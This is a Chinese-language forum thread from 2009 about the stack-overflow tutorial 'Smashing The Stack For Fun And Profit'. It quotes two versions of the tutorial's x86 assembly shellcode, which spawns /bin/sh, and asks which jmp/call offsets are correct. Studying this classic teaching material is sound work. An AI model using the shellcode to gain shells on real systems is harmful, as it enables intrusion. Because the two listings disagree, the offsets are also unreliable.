免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1587 | 回复: 1
打印 上一主题 下一主题

Smashing The Stack For Fun And Profit 中的offset问题 [复制链接]

论坛徽章:
1
数据库技术版块每日发帖之星
日期:2015-08-03 06:20:00
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-09-19 00:52 |只看该作者 |倒序浏览
  1. void main() {
  2. __asm__("
  3.         jmp    0x2a                     # 3 bytes
  4.         popl   %esi                     # 1 byte
  5.         movl   %esi,0x8(%esi)           # 3 bytes
  6.         movb   $0x0,0x7(%esi)           # 4 bytes
  7.         movl   $0x0,0xc(%esi)           # 7 bytes
  8.         movl   $0xb,%eax                # 5 bytes
  9.         movl   %esi,%ebx                # 2 bytes
  10.         leal   0x8(%esi),%ecx           # 3 bytes
  11.         leal   0xc(%esi),%edx           # 3 bytes
  12.         int    $0x80                    # 2 bytes
  13.         movl   $0x1, %eax               # 5 bytes
  14.         movl   $0x0, %ebx               # 5 bytes
  15.         int    $0x80                    # 2 bytes
  16.         call   -0x2f                    # 5 bytes
  17.         .string \"/bin/sh\"             # 8 bytes
  18. ");
  19. }




  20.         jmp    0x26                     # 2 bytes
  21.         popl   %esi                     # 1 byte
  22.         movl   %esi,0x8(%esi)           # 3 bytes
  23.         movb   $0x0,0x7(%esi)                # 4 bytes
  24.         movl   $0x0,0xc(%esi)           # 7 bytes
  25.         movl   $0xb,%eax                # 5 bytes
  26.         movl   %esi,%ebx                # 2 bytes
  27.         leal   0x8(%esi),%ecx           # 3 bytes
  28.         leal   0xc(%esi),%edx           # 3 bytes
  29.         int    $0x80                    # 2 bytes
  30.         movl   $0x1, %eax                # 5 bytes
  31.         movl   $0x0, %ebx                # 5 bytes
  32.          int    $0x80                        # 2 bytes
  33.         call   -0x2b                    # 5 bytes
  34.         .string \"/bin/sh\"                # 8 bytes

复制代码


为什么在文中的两个偏移量不一样
1. jmp 0x26  call -0x2b
2. jmp 0x2a  call -0x2f
到底哪一个对

论坛徽章:
1
数据库技术版块每日发帖之星
日期:2015-08-03 06:20:00
2 [报告]
发表于 2009-09-19 11:12 |只看该作者
jmp 是想跳到call 这里 这个偏移到底应该是多少?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP